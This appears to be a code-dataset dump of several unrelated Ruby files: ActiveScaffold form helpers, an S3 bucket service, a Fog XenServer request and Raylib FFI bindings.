if column.association.polymorphic?
column.association.name != parent_column.association.as
else
!column.association.inverse_for?(parent_record.class)
end
else
true
end
end
def column_show_add_existing(column, record = nil)
column.allow_add_existing && options_for_association_count(column.association, record).positive?
end
def column_show_add_new(column, associated, record)
assoc = column.association
value = assoc.singular?
value ||= assoc.collection? && !assoc.readonly? && (!assoc.through? || !assoc.through_reflection.collection?)
value &&= false unless assoc.klass.authorized_for?(:crud_type => :create)
value
end
##
## Form input methods
##
def active_scaffold_grouped_options(column, select_options, optgroup)
group_column = active_scaffold_config_for(column.association.klass).columns[optgroup]
group_label = group_column.options[:label_method] if group_column
group_label ||= group_column&.association ? :to_label : :to_s
select_options.group_by(&optgroup.to_sym).collect do |group, options|
[group.send(group_label), options.collect { |r| [r.send(column.options[:label_method] || :to_label), r.id] }]
end
end
def active_scaffold_translate_select_options(options)
options[:include_blank] = as_(options[:include_blank].to_s) if options[:include_blank].is_a? Symbol
options[:prompt] = as_(options[:prompt].to_s) if options[:prompt].is_a? Symbol
options
end
def active_scaffold_select_name_with_multiple(options)
return if !options[:multiple] || options[:name].to_s.ends_with?('[]')
options[:name] = "#{options[:name]}[]"
end
def active_scaffold_input_singular_association(column, html_options, options = {})
record = html_options.delete(:object)
associated = record.send(column.association.name)
select_options = sorted_association_options_find(column.association, nil, record)
select_options.unshift(associated) unless associated.nil? || select_options.include?(associated)
method = column.name
options.merge! :selected => associated&.id, :include_blank => as_(:_select_), :object => record
html_options.merge!(column.options[:html_options] || {})
options.merge!(column.options)
active_scaffold_select_name_with_multiple html_options
active_scaffold_translate_select_options(options)
html =
if (optgroup = options.delete(:optgroup))
select(:record, method, active_scaffold_grouped_options(column, select_options, optgroup), options, html_options)
else
collection_select(:record, method, select_options, :id, column.options[:label_method] || :to_label, options, html_options)
end
html << active_scaffold_refresh_link(column, html_options, record) if column.options[:refresh_link]
html << active_scaffold_new_record_subform(column, record, html_options) if column.options[:add_new]
html
end
def active_scaffold_new_record_subform(column, record, html_options, new_record_attributes: nil, locals: {}, skip_link: false) # rubocop:disable Metrics/ParameterLists
klass =
if column.association.polymorphic? && column.association.belongs_to?
type = record.send(column.association.foreign_type)
column.association.klass(record) if type.present? && (column.options[:add_new] == true || type.in?(column.options[:add_new]))
else
column.association.klass
end
return content_tag(:div, '') unless klass
subform_attrs = active_scaffold_subform_attributes(column, nil, klass)
if record.send(column.name)&.new_record?
new_record = record.send(column.name)
else
subform_attrs[:style] = 'display: none'
end
subform_attrs[:class] << ' optional'
scope = html_options[:name].scan(/record(.*)\[#{column.name}\]/).dig(0, 0)
new_record ||= klass.new(new_record_attributes)
locals = locals.reverse_merge(column: column, parent_record: record, associated: [], show_blank_record: new_record, scope: scope)
subform = render(partial: subform_partial_for_column(column, klass), locals: locals)
if column.options[:hide_subgroups]
toggable_id = "#{sub_form_id(association: column.name, id: record.id || generated_id(record) || 99_999_999_999)}-div"
subform << link_to_visibility_toggle(toggable_id, default_visible: false)
end
html = content_tag(:div, subform, subform_attrs)
return html if skip_link
html << active_scaffold_show_new_subform_link(column, record, html_options[:id], subform_attrs[:id])
end
def active_scaffold_show_new_subform_link(column, record, select_id, subform_id)
data = {select_id: select_id, subform_id: subform_id, subform_text: as_(:add_existing), select_text: as_(:create_new)}
label = data[record.send(column.name)&.new_record? ? :subform_text : :select_text]
link_to(label, '#', data: data, class: 'show-new-subform')
end
def active_scaffold_file_with_remove_link(column, options, content, remove_file_prefix, controls_class, &block) # rubocop:disable Metrics/ParameterLists
options = active_scaffold_input_text_options(options.merge(column.options))
if content
active_scaffold_file_with_content(column, content, options, remove_file_prefix, controls_class, &block)
else
file_field(:record, column.name, options)
end
end
def active_scaffold_file_with_content(column, content, options, remove_file_prefix, controls_class)
required = options.delete(:required)
case ActiveScaffold.js_framework
when :jquery
js_remove_file_code = "jQuery(this).prev().val('true'); jQuery(this).parent().hide().next().show()#{".find('input').attr('required', 'required')" if required}; return false;"
js_dont_remove_file_code = "jQuery(this).parents('div.#{controls_class}').find('input.remove_file').val('false'); return false;"
when :prototype
js_remove_file_code = "$(this).previous().value='true'; $(this).up().hide().next().show()#{".down().writeAttribute('required', 'required')" if required}; return false;"
js_dont_remove_file_code = "jQuery(this).parents('div.#{controls_class}').find('input.remove_file').val('false'); return false;"
end
object_name, method = options[:name].split(/\[(#{column.name})\]/)
method.sub!(/#{column.name}/, "#{remove_file_prefix}\\0")
fields = block_given? ? yield : ''
link_key = options[:multiple] ? :remove_files : :remove_file
input = file_field(:record, column.name, options.merge(:onchange => js_dont_remove_file_code))
content_tag(:div, class: controls_class) do
content_tag(:div) do
safe_join [content, ' | ', fields,
hidden_field(object_name, method, :value => 'false', class: 'remove_file'),
content_tag(:a, as_(link_key), :href => '#', :onclick => js_remove_file_code)]
end << content_tag(:div, input, :style => 'display: none')
end
end
def active_scaffold_refresh_link(column, html_options, record)
link_options = {:object => record}
if html_options['data-update_url']
link_options['data-update_send_form'] = html_options['data-update_send_form']
link_options['data-update_send_form_selector'] = html_options['data-update_send_form_selector']
else
scope = html_options[:name].scan(/^record((\[[^\]]*\])*)\[#{column.name}\]/).dig(0, 0) if html_options[:name]
link_options = update_columns_options(column, scope.presence, link_options, true)
end
link_options[:class] = 'refresh-link'
link_to(as_(:refresh), link_options.delete('data-update_url') || html_options['data-update_url'], link_options)
end
def active_scaffold_plural_association_options(column, record = nil)
associated_options = record.send(column.association.name)
[associated_options, associated_options | sorted_association_options_find(column.association, nil, record)]
end
def active_scaffold_input_plural_association(column, options)
record = options.delete(:object)
associated_options, select_options = active_scaffold_plural_association_options(column, record)
html =
if select_options.empty?
content_tag(:span, as_(:no_options), :class => "#{options[:class]} no-options", :id => options[:id]) <<
hidden_field_tag("#{options[:name]}[]", '', :id => nil)
else
active_scaffold_checkbox_list(column, select_options, associated_options.collect(&:id), options)
end
html << active_scaffold_refresh_link(column, options, record) if column.options[:refresh_link]
html
end
def active_scaffold_checkbox_option(option, label_method, associated_ids, checkbox_options, li_options = {})
content_tag(:li, li_options) do
option_id = option.is_a?(Array) ? option[1] : option.id
label = option.is_a?(Array) ? option[0] : option.send(label_method)
check_box_tag(checkbox_options[:name], option_id, associated_ids.include?(option_id), checkbox_options) <<
content_tag(:label, label, :for => checkbox_options[:id])
end
end
def active_scaffold_checkbox_list(column, select_options, associated_ids, options)
label_method = column.options[:label_method] || :to_label
html = hidden_field_tag("#{options[:name]}[]", '', :id => nil)
html << content_tag(:ul, options.merge(:class => "#{options[:class]} checkbox-list#{' draggable-lists' if column.options[:draggable_lists]}")) do
content = []
select_options.each_with_index do |option, i|
content << active_scaffold_checkbox_option(option, label_method, associated_ids, :name => "#{options[:name]}[]", :id => "#{options[:id]}_#{i}_id")
end
safe_join content
end
html
end
def active_scaffold_translated_option(column, text, value = nil)
value = text if value.nil?
[(text.is_a?(Symbol) ? column.active_record_class.human_attribute_name(text) : text), value]
end
def active_scaffold_enum_options(column, record = nil)
column.options[:options]
end
def active_scaffold_input_enum(column, html_options, options = {})
record = html_options.delete(:object)
options[:selected] = record.send(column.name)
options[:object] = record
options_for_select = active_scaffold_enum_options(column, record).collect do |text, value|
active_scaffold_translated_option(column, text, value)
end
html_options.merge!(column.options[:html_options] || {})
options.merge!(column.options)
active_scaffold_select_name_with_multiple html_options
active_scaffold_translate_select_options(options)
select(:record, column.name, options_for_select, options, html_options)
end
def active_scaffold_input_select(column, html_options)
if column.association&.singular?
active_scaffold_input_singular_association(column, html_options)
elsif column.association&.collection?
active_scaffold_input_plural_association(column, html_options)
else
active_scaffold_input_enum(column, html_options)
end
end
def active_scaffold_radio_option(option, selected, column, radio_options)
if column.association
label_method = column.options[:label_method] || :to_label
text = option.send(label_method)
value = option.id
checked = {:checked => selected == value}
else
text, value = active_scaffold_translated_option(column, *option)
end
id_key = radio_options[:"data-id"] ? :"data-id" : :id
radio_options = radio_options.merge(id_key => radio_options[id_key] + '-' + value.to_s.parameterize)
radio_options.merge!(checked) if checked
content_tag(:label, radio_button(:record, column.name, value, radio_options) + text)
end
def active_scaffold_input_radio(column, html_options)
record = html_options[:object]
html_options.merge!(column.options[:html_options] || {})
options =
if column.association
sorted_association_options_find(column.association, nil, record)
else
active_scaffold_enum_options(column, record)
end
selected = record.send(column.association.name) if column.association
selected_id = selected&.id
if options.present?
if column.options[:add_new]
html_options[:data] ||= {}
html_options[:data][:subform_id] = active_scaffold_subform_attributes(column)[:id]
radio_html_options = html_options.merge(class: html_options[:class] + ' hide-new-subform')
else
radio_html_options = html_options
end
radios = options.map do |option|
active_scaffold_radio_option(option, selected_id, column, radio_html_options)
end
if column.options[:include_blank]
label = column.options[:include_blank]
label = as_(column.options[:include_blank]) if column.options[:include_blank].is_a?(Symbol)
radios.prepend content_tag(:label, radio_button(:record, column.name, '', html_options.merge(id: nil)) + label)
end
if column.options[:add_new]
create_new_button = radio_button_tag(html_options[:name], '', selected&.new_record?, html_options.merge(id: nil, class: html_options[:class] + ' show-new-subform'))
radios << content_tag(:label, create_new_button << as_(:create_new)) <<
active_scaffold_new_record_subform(column, record, html_options, skip_link: true)
end
safe_join radios
else
html = content_tag(:span, as_(:no_options), :class => "#{html_options[:class]} no-options", :id => html_options[:id])
html << hidden_field_tag(html_options[:name], '', :id => nil)
html << active_scaffold_new_record_subform(column, record, html_options) if column.options[:add_new]
html
end
end
def active_scaffold_input_checkbox(column, options)
check_box(:record, column.name, options.merge(column.options))
end
def active_scaffold_input_password(column, options)
active_scaffold_text_input :password_field, column, options.reverse_merge(autocomplete: 'new-password')
end
def active_scaffold_input_textarea(column, options)
text_area(:record, column.name, options.merge(:cols => column.options[:cols], :rows => column.options[:rows], :size => column.options[:size]))
end
def active_scaffold_input_virtual(column, options)
active_scaffold_text_input :text_field, column, options
end
# Some fields from HTML5 (primarily for using in-browser validation)
# Sadly, many of them lacks browser support
# A text box, that accepts only valid email address (in-browser validation)
def active_scaffold_input_email(column, options)
active_scaffold_text_input :email_field, column, options
end
# A text box, that accepts only valid URI (in-browser validation)
def active_scaffold_input_url(column, options)
active_scaffold_text_input :url_field, column, options
end
# A text box, that accepts only valid phone-number (in-browser validation)
def active_scaffold_input_telephone(column, options)
active_scaffold_text_input :telephone_field, column, options, :format
end
# A spinbox control for number values (in-browser validation)
def active_scaffold_input_number(column, options)
active_scaffold_number_input :number_field, column, options, :format
end
# A slider control for number values (in-browser validation)
def active_scaffold_input_range(column, options)
active_scaffold_number_input :range_field, column, options, :format
end
# A slider control for number values (in-browser validation)
def active_scaffold_number_input(method, column, options, remove_options = nil)
options = numerical_constraints_for_column(column, options)
active_scaffold_text_input method, column, options, remove_options
end
def active_scaffold_text_input(method, column, options, remove_options = nil)
options = active_scaffold_input_text_options(options)
options = options.merge(column.options)
options = options.except(*remove_options) if remove_options.present?
send method, :record, column.name, options
end
# A color picker
def active_scaffold_input_color(column, options)
html = []
options = active_scaffold_input_text_options(options)
if column.column&.null
no_color = options[:object].send(column.name).nil?
method = no_color ? :hidden_field : :color_field
html << content_tag(:label, check_box_tag('disable', '1', no_color, id: nil, name: nil, class: 'no-color') << " #{as_ column.options[:no_color] || :no_color}")
else
method = :color_field
end
html << send(method, :record, column.name, options.merge(column.options).except(:format, :no_color))
safe_join html
end
#
# Column.type-based inputs
#
def active_scaffold_input_boolean(column, options)
record = options.delete(:object)
select_options = []
select_options << [as_(:_select_), nil] if !column.virtual? && column.column.null
select_options << [as_(:true), true] # rubocop:disable Lint/BooleanSymbol
select_options << [as_(:false), false] # rubocop:disable Lint/BooleanSymbol
select_tag(options[:name], options_for_select(select_options, record.send(column.name)), options)
end
def active_scaffold_input_date(column, options)
active_scaffold_text_input :date_field, column, options
end
def active_scaffold_input_time(column, options)
active_scaffold_text_input :time_field, column, options
end
def active_scaffold_input_datetime(column, options)
active_scaffold_text_input :datetime_local_field, column, options
end
def active_scaffold_input_month(column, options)
active_scaffold_text_input :month_field, column, options
end
def active_scaffold_input_week(column, options)
active_scaffold_text_input :week_field, column, options
end
##
## Form column override signatures
##
def partial_for_model(model, partial)
controller = active_scaffold_controller_for(model)
while controller.uses_active_scaffold?
path = File.join(controller.controller_path, partial)
return path if template_exists?(path, true)
controller = controller.superclass
end
nil
end
# add functionality for overriding subform partials from association class path
def override_subform_partial(column, subform_partial)
partial_for_model(column.association.klass, subform_partial) if column_renders_as(column) == :subform
end
# the naming convention for overriding form fields with helpers
def override_form_field_partial(column)
partial_for_model(column.active_record_class, "#{clean_column_name(column.name)}_form_column")
end
def override_form_field(column)
override_helper column, 'form_column'
end
alias override_form_field? override_form_field
# the naming convention for overriding form input types with helpers
def override_input(form_ui)
method = "active_scaffold_input_#{form_ui}"
method if respond_to? method
end
alias override_input? override_input
def subform_partial_for_column(column, klass = nil)
subform_partial = "#{column.options[:layout] || active_scaffold_config_for(klass || column.association.klass).subform.layout}_subform"
override_subform_partial(column, subform_partial) || subform_partial
end
##
## Macro-level rendering decisions for columns
##
def column_renders_as(column)
if column.respond_to? :each
:subsection
elsif column.active_record_class.locking_column.to_s == column.name.to_s || column.form_ui == :hidden
:hidden
elsif column.association.nil? || column.form_ui || !active_scaffold_config_for(column.association.klass).actions.include?(:subform) || override_form_field?(column)
:field
else
:subform
end
end
def column_scope(column, scope = nil, record = nil)
if column.association&.collection?
"#{scope}[#{column.name}][#{record.id || generate_temporary_id(record)}]"
else
"#{scope}[#{column.name}]"
end
end
def active_scaffold_add_existing_input(options)
record = options.delete(:object)
if !ActiveScaffold.js_framework.nil? && controller.respond_to?(:record_select_config, true)
remote_controller = active_scaffold_controller_for(record_select_config.model).controller_path
options[:controller] = remote_controller
options.merge!(active_scaffold_input_text_options)
record_select_field(options[:name], nil, options)
else
select_options = sorted_association_options_find(nested.association, nil, record)
select_options ||= active_scaffold_config.model.all
select_options = options_from_collection_for_select(select_options, :id, :to_label)
select_tag 'associated_id', (content_tag(:option, as_(:_select_), value: '') + select_options) unless select_options.empty?
end
end
def active_scaffold_add_existing_label
if controller.respond_to?(:record_select_config, true)
record_select_config.model.model_name.human
else
active_scaffold_config.model.model_name.human
end
end
# Try to get numerical constraints from model's validators
def column_numerical_constraints(column, options)
validators = column.active_record_class.validators.select do |v|
v.is_a?(ActiveModel::Validations::NumericalityValidator) && v.attributes.include?(column.name)
end
equal_validator = validators.find { |v| v.options[:equal_to] }
# If there is equal_to constraint - use it (unless otherwise specified by user)
if equal_validator && !(options[:min] || options[:max])
equal_to = equal_validator.options[:equal_to]
return {min: equal_to, max: equal_to}
end
numerical_constraints = {}
# find minimum and maximum from validators
# we can safely modify :min and :max by 1 for :greater_tnan or :less_than value only for integer values
only_integer = column.column.type == :integer if column.column
only_integer ||= validators.find { |v| v.options[:only_integer] }.present?
margin = only_integer ? 1 : 0
# Minimum
unless options[:min]
min = validators.map { |v| v.options[:greater_than_or_equal_to] }.compact.max
greater_than = validators.map { |v| v.options[:greater_than] }.compact.max
numerical_constraints[:min] = [min, (greater_than + margin if greater_than)].compact.max
end
# Maximum
unless options[:max]
max = validators.map { |v| v.options[:less_than_or_equal_to] }.compact.min
less_than = validators.map { |v| v.options[:less_than] }.compact.min
numerical_constraints[:max] = [max, (less_than - margin if less_than)].compact.min
end
# Set step = 2 for column values restricted to be odd or even (but only if minimum is set)
unless options[:step]
only_odd_valid = validators.any? { |v| v.options[:odd] }
only_even_valid = validators.any? { |v| v.options[:even] } unless only_odd_valid
if !only_integer
numerical_constraints[:step] ||= "0.#{'0' * (column.column.scale - 1)}1" if column.column&.scale.to_i.positive?
elsif options[:min] && options[:min].respond_to?(:even?) && (only_odd_valid || only_even_valid)
numerical_constraints[:step] = 2
numerical_constraints[:min] += 1 if only_odd_valid && options[:min].even?
numerical_constraints[:min] += 1 if only_even_valid && options[:min].odd?
end
numerical_constraints[:step] ||= 'any' unless only_integer
end
numerical_constraints
end
def numerical_constraints_for_column(column, options)
constraints = Rails.cache.fetch("#{column.cache_key}#numerical_constarints") do
column_numerical_constraints(column, options)
end
constraints.merge(options)
end
end
end
end
| 47.455826 | 184 | 0.667944 |
33d4cce8b3fb86d27a3c623b6d6348719b6186fe | 40 | module Netutils
VERSION = "0.1.2"
end
| 10 | 19 | 0.675 |
e87699639da0503c3dc0b7de6ffa54537a9e2a76 | 718 | # frozen_string_literal: true
class S3BucketsFetchService < ApplicationService
module Error
class Unauthorized < CloudError
attr_reader :account_name
def initialize(account_name)
@account_name = account_name
end
def message
"You do not have a permission to view buckets for an account #{account_name}"
end
end
end
attr_reader :account_name, :user
def initialize(account_name:, user:)
super()
@account_name = account_name
@user = user
end
def call
account = AccountFetchService.call(name: account_name)
raise Error::Unauthorized.new(account_name) unless AccountPolicy.new(user, account).show?
account.s3_buckets
end
end
| 21.757576 | 93 | 0.706128 |
7afe91fbe62dbc6904d4c317d4bb3e1159e21196 | 277 | module Fog
module XenServer
class Compute
class Real
def destroy_record(ref, provider_class)
@connection.request({ :parser => Fog::XenServer::Parsers::Base.new, :method => "#{provider_class}.destroy" }, ref)
end
end
end
end
end | 25.181818 | 124 | 0.624549 |
fff312daac63ea686004896af5187c58228e45cd | 39,883 | module Raylib # rubocop:disable Metrics/ModuleLength Metrics/LineLength
#####################################################################################
# raylib.h
#####################################################################################
#------------------------------------------------------------------------------------
# Window and Graphics Device Functions (Module: core)
#------------------------------------------------------------------------------------
# Window-related functions
attach_function :InitWindow, %i[int int string], :void # Window#init
attach_function :WindowShouldClose, [], :bool # Window#should_close?
attach_function :CloseWindow, [], :void # Window#close
attach_function :IsWindowReady, [], :bool # Window#is_ready?
attach_function :IsWindowMinimized, [], :bool # Window#is_minimized?
attach_function :ToggleFullscreen, [], :bool # Window#toggle_fullscreen
attach_function :SetWindowIcon, [Image.by_value], :void # Window#icon=
attach_function :SetWindowTitle, %i[string], :void # Window#title=
attach_function :SetWindowPosition, %i[int int], :void # Window#set_position
attach_function :SetWindowMonitor, %i[int], :void # Window#monitor=
attach_function :SetWindowMinSize, %i[int int], :void # Window#set_min_size
attach_function :SetWindowSize, %i[int int], :void # Window#set_size
attach_function :GetScreenWidth, [], :int # Window#width
attach_function :GetScreenHeight, [], :int # Window#height
# Cursor-related functions
attach_function :ShowCursor, [], :void # Cursor#show
attach_function :HideCursor, [], :void # Cursor#hide
attach_function :IsCursorHidden, [], :bool # Cursor#is_hidden?
attach_function :EnableCursor, [], :void # Cursor#enable
attach_function :DisableCursor, [], :void # Cursor#disable
# Drawing-related functions
attach_function :ClearBackground, [Color.by_value], :void # Draw#clear_background
attach_function :BeginDrawing, [], :void # Draw#begin_drawing
attach_function :EndDrawing, [], :void # Draw#end_drawing
attach_function :BeginMode2D, [Camera2D.by_value], :void # Camera2D#begin_mode2d
attach_function :EndMode2D, [], :void # Camera2D#end_mode2d
attach_function :BeginMode3D, [Camera.by_value], :void # Camera3D#begin_mode3d
attach_function :EndMode3D, [], :void # Camera3D#end_mode3d
attach_function :BeginTextureMode, [RenderTexture2D.by_value], :void # RenderTexture2D#begin_texture_mode
attach_function :EndTextureMode, [], :void # RenderTexture2D#end_texture_mode
# Screen-space-related functions
attach_function :GetMouseRay, [Vector2.by_value, Camera.by_value], Ray.by_value # Camera3D#ray
attach_function :GetWorldToScreen, [Vector3.by_value, Camera.by_value], Vector2.by_value # Camera3D#world_to_screen
attach_function :GetCameraMatrix, [Camera.by_value], Matrix.by_value # Camera3D#matrix
# Timming-related functions
attach_function :SetTargetFPS, [:int], :void # Window#target_fps=
attach_function :GetFPS, [], :int # Window#fps
attach_function :GetFrameTime, [], :float # Window#time_since_frame
attach_function :GetTime, [], :double # Window#time_since_init
# Color-related functions
attach_function :ColorToInt, [Color.by_value], :int # Color#to_i
attach_function :ColorNormalize, [Color.by_value], Vector4.by_value # Color#to_normalize
attach_function :ColorToHSV, [Color.by_value], Vector3.by_value # Color#to_hsv
attach_function :GetColor, %i[int], Color.by_value # Color#from_i
attach_function :Fade, [Color.by_value, :float], Color.by_value # Color#fade
# Misc. functions
attach_function :SetConfigFlags, %i[uchar], :void # Raylib#config_flags=
attach_function :SetTraceLogLevel, %i[int], :void # Raylib#trace_log_level=
attach_function :SetTraceLogExit, %i[int], :void # Raylib#trace_log_exit=
attach_function :SetTraceLogCallback, %i[int], :void # Raylib#trace_log_exit=
attach_function :TraceLog, %i[int string varargs], :void # Raylib#trace_log
attach_function :TakeScreenshot, %i[string], :void # Raylib#take_screenshot
attach_function :GetRandomValue, %i[int int], :int # Raylib#random_value
# Files management functions
attach_function :IsFileExtension, %i[string string], :bool # Raylib#is_file_extension?
attach_function :GetExtension, %i[string], :string # Raylib#get_extension
attach_function :GetFileName, %i[string], :string # Raylib#get_file_name
attach_function :GetDirectoryPath, %i[string], :string # Raylib#get_directory_path
attach_function :GetWorkingDirectory, [], :string # Raylib#get_working_directory
attach_function :ChangeDirectory, %i[string], :bool # Raylib#change_directory
attach_function :IsFileDropped, [], :bool # Raylib#is_file_dropped?
attach_function :GetDroppedFiles, [], :pointer # Raylib#get_dropped_files
attach_function :ClearDroppedFiles, [], :void # Raylib#clear_dropped_files
# Persistent storage management
attach_function :StorageSaveValue, %i[int int], :void # Raylib#storage_save_value
attach_function :StorageLoadValue, %i[int], :int # Raylib#storage_load_value
#------------------------------------------------------------------------------------
# Input Handling Functions (Module: core)
#------------------------------------------------------------------------------------
# Input-related functions: keyboard
attach_function :IsKeyPressed, [:int], :bool # Key#is_pressed?
attach_function :IsKeyDown, [:int], :bool # Key#is_down?
attach_function :IsKeyReleased, [:int], :bool # Key#is_released?
attach_function :IsKeyUp, [:int], :bool # Key#is_up?
attach_function :GetKeyPressed, [], :int # Key#key_pressed
attach_function :SetExitKey, [:int], :void # Key#exit_key=
# Input-related functions: gamepads
attach_function :IsGamepadAvailable, %i[int], :bool # Gamepad#is_available?
attach_function :IsGamepadName, %i[int string], :bool # Gamepad#is_name?
attach_function :GetGamepadName, %i[int], :string # Gamepad#name
attach_function :IsGamepadButtonPressed, %i[int int], :bool # Gamepad#is_button_pressed?
attach_function :IsGamepadButtonDown, %i[int int], :bool # Gamepad#is_button_down?
attach_function :IsGamepadButtonReleased, %i[int int], :bool # Gamepad#is_button_released?
attach_function :IsGamepadButtonUp, %i[int int], :bool # Gamepad#is_button_up?
attach_function :GetGamepadButtonPressed, [], :int # Gamepad#button_pressed
attach_function :GetGamepadAxisCount, %i[int], :int # Gamepad#axis_count
attach_function :GetGamepadAxisMovement, %i[int int], :float # Gamepad#axis_movement
# Input-related functions: mouse
attach_function :IsMouseButtonPressed, [:int], :bool # Mouse#is_button_presed?
attach_function :IsMouseButtonDown, [:int], :bool # Mouse#is_button_down?
attach_function :IsMouseButtonReleased, [:int], :bool # Mouse#is_button_released?
attach_function :IsMouseButtonUp, [:int], :bool # Mouse#is_button_up?
attach_function :GetMouseX, [], :int # Mouse#x
attach_function :GetMouseY, [], :int # Mouse#y
attach_function :GetMousePosition, [], Vector2.by_value # Mouse#position
attach_function :SetMousePosition, [Vector2.by_value], :void # Mouse#position=
attach_function :SetMouseScale, [:float], :void # Mouse#scale=
attach_function :GetMouseWheelMove, [], :int # Mouse#wheel_move
# Input-related functions: touch
attach_function :GetTouchX, [], :int # Touch#x
attach_function :GetTouchY, [], :int # Touch#y
attach_function :GetTouchPosition, %i[int], Vector2.by_value # Touch#position
#------------------------------------------------------------------------------------
# Gestures and Touch Handling Functions (Module: gestures)
#------------------------------------------------------------------------------------
attach_function :SetGesturesEnabled, %i[uint], :void # Touch#gestures=
attach_function :IsGestureDetected, %i[int], :bool # Touch#is_gesture?
attach_function :GetGestureDetected, [], :int # Touch#gesture
attach_function :GetTouchPointsCount, [], :int # Touch#points_count
attach_function :GetGestureHoldDuration, [], :float # Touch#hold_duration
attach_function :GetGestureDragVector, [], Vector2.by_value # Touch#drag_vector
attach_function :GetGestureDragAngle, [], :float # Touch#drag_angle
attach_function :GetGesturePinchVector, [], Vector2.by_value # Touch#pinch_vector
attach_function :GetGesturePinchAngle, [], :float # Touch#pinch_angle
#------------------------------------------------------------------------------------
# Camera System Functions (Module: camera)
#------------------------------------------------------------------------------------
attach_function :SetCameraMode, [Camera.by_value, :int], :void # Camera3D#mode=
attach_function :UpdateCamera, [Camera.ptr], :void # Camera3D#update
attach_function :SetCameraPanControl, %i[int], :void # Camera3D#pan_control=
attach_function :SetCameraAltControl, %i[int], :void # Camera3D#alt_control=
attach_function :SetCameraSmoothZoomControl, %i[int], :void # Camera3D#smooth_zoom_control=
attach_function :SetCameraMoveControls, %i[int int int int int int], :void # Camera3D#set_move_controls
#------------------------------------------------------------------------------------
# Basic Shapes Drawing Functions (Module: shapes)
#------------------------------------------------------------------------------------
# Basic shapes drawing functions
# Ruby note: All functions in Raylib::Draw type.
attach_function :DrawPixel, [:int, :int, Color.by_value], :void
attach_function :DrawPixelV, [Vector2.by_value, Color.by_value], :void
attach_function :DrawLine, [:int, :int, :int, :int, Color.by_value], :void
attach_function :DrawLineV, [Vector2.by_value, Vector2.by_value, Color.by_value], :void
attach_function :DrawLineEx, [Vector2.by_value, Vector2.by_value, :float, Color.by_value], :void
attach_function :DrawLineBezier, [Vector2.by_value, Vector2.by_value, :float, Color.by_value], :void
attach_function :DrawCircle, [:int, :int, :float, Color.by_value], :void
attach_function :DrawCircleGradient, [:int, :int, :float, Color.by_value, Color.by_value], :void
attach_function :DrawCircleV, [Vector2.by_value, :float, Color.by_value], :void
attach_function :DrawCircleLines, [:int, :int, :float, Color.by_value], :void
attach_function :DrawRectangle, [:int, :int, :int, :int, Color.by_value], :void
attach_function :DrawRectangleV, [Vector2.by_value, Vector2.by_value, Color.by_value], :void
attach_function :DrawRectangleRec, [Rectangle.by_value, Color.by_value], :void
attach_function :DrawRectanglePro, [Rectangle.by_value, Vector2.by_value, :float, Color.by_value], :void
attach_function :DrawRectangleGradientV, [:int, :int, :int, :int, Color.by_value, Color.by_value], :void
attach_function :DrawRectangleGradientH, [:int, :int, :int, :int, Color.by_value, Color.by_value], :void
attach_function :DrawRectangleGradientEx, [Rectangle.by_value, Color.by_value, Color.by_value, Color.by_value, Color.by_value], :void
attach_function :DrawRectangleLines, [:int, :int, :int, :int, Color.by_value], :void
attach_function :DrawRectangleLinesEx, [Rectangle.by_value, :float, Color.by_value], :void
attach_function :DrawTriangle, [Vector2.by_value, Vector2.by_value, Vector2.by_value, Color.by_value], :void
attach_function :DrawTriangleLines, [Vector2.by_value, Vector2.by_value, Vector2.by_value, Color.by_value], :void
attach_function :DrawPoly, [Vector2.by_value, :int, :float, :float, Color.by_value], :void
# Basic shapes collision detection functions
# Ruby note: All functions in Raylib::Collision type.
attach_function :CheckCollisionRecs, [Rectangle.by_value, Rectangle.by_value], :bool
attach_function :CheckCollisionCircles, [Vector2.by_value, :float, Vector2.by_value, :float], :bool
attach_function :CheckCollisionCircleRec, [Vector2.by_value, :float, Rectangle.by_value], :bool
attach_function :GetCollisionRec, [Rectangle.by_value, Rectangle.by_value], Rectangle.by_value
attach_function :CheckCollisionPointRec, [Vector2.by_value, Rectangle.by_value], :bool
attach_function :CheckCollisionPointCircle, [Vector2.by_value, Vector2.by_value, :float], :bool
attach_function :CheckCollisionPointTriangle, [Vector2.by_value, Vector2.by_value, Vector2.by_value, Vector2.by_value], :bool
#------------------------------------------------------------------------------------
# Texture Loading and Drawing Functions (Module: textures)
#------------------------------------------------------------------------------------
# Image/Texture2D data loading/unloading/saving functions
attach_function :LoadImage, [:string], Image.by_value # Image#load
attach_function :LoadImageEx, %i[pointer int int], Image.by_value # Image#load_ex
attach_function :LoadImagePro, %i[pointer int int int], Image.by_value # Image#load_pro
attach_function :LoadImageRaw, %i[string int int int int], Image.by_value # Image#load_raw
attach_function :ExportImage, [:string, Image.by_value], :void # Image#export
attach_function :LoadTexture, [:string], Texture2D.by_value # Texture2D#load
attach_function :LoadTextureFromImage, [Image.by_value], Texture2D.by_value # Image#to_texture2d
attach_function :LoadRenderTexture, %i[int int], RenderTexture2D.by_value # RenderTexture2D#load
attach_function :UnloadImage, [Image.by_value], :void # Image#unload
attach_function :UnloadTexture, [Texture2D.by_value], :void # Texture2D#unload
attach_function :UnloadRenderTexture, [RenderTexture2D.by_value], :void # RenderTexture2D#unload
attach_function :GetImageData, [Image.by_value], :pointer # Image#to_data
attach_function :GetImageDataNormalized, [Image.by_value], :pointer # Image#to_data_normalized
attach_function :GetPixelDataSize, %i[int int int], :int # Image#pixel_data_size
attach_function :GetTextureData, [Texture2D.by_value], Image.by_value # Texture2D#to_image
attach_function :UpdateTexture, [Texture2D.by_value, :pointer], :void # Texture2D#update
# Image manipulation functions
# Ruby note: All functions in Raylib::Image type.
attach_function :ImageCopy, [Image.by_value], Image.by_value
attach_function :ImageToPOT, [Image.ptr, Color.by_value], :void
attach_function :ImageFormat, [Image.ptr, :int], :void
attach_function :ImageAlphaMask, [Image.ptr, Image.by_value], :void
attach_function :ImageAlphaClear, [Image.ptr, Color.by_value, :float], :void
attach_function :ImageAlphaCrop, [Image.ptr, :float], :void
attach_function :ImageAlphaPremultiply, [Image.ptr], :void
attach_function :ImageCrop, [Image.ptr, Rectangle.by_value], :void
attach_function :ImageResize, [Image.ptr, :int, :int], :void
attach_function :ImageResizeNN, [Image.ptr, :int, :int], :void
attach_function :ImageResizeCanvas, [Image.ptr, :int, :int, :int, :int, Color.by_value], :void
attach_function :ImageMipmaps, [Image.ptr], :void
attach_function :ImageDither, [Image.ptr, :int, :int, :int, :int], :void
attach_function :ImageText, [:string, :int, Color.by_value], Image.by_value
attach_function :ImageTextEx, [Font.by_value, :string, :float, :float, Color.by_value], Image.by_value
attach_function :ImageDraw, [Image.ptr, Image.by_value, Rectangle.by_value, Rectangle.by_value], :void
attach_function :ImageDrawRectangle, [Image.ptr, Vector2.by_value, Rectangle.by_value, Color.by_value], :void
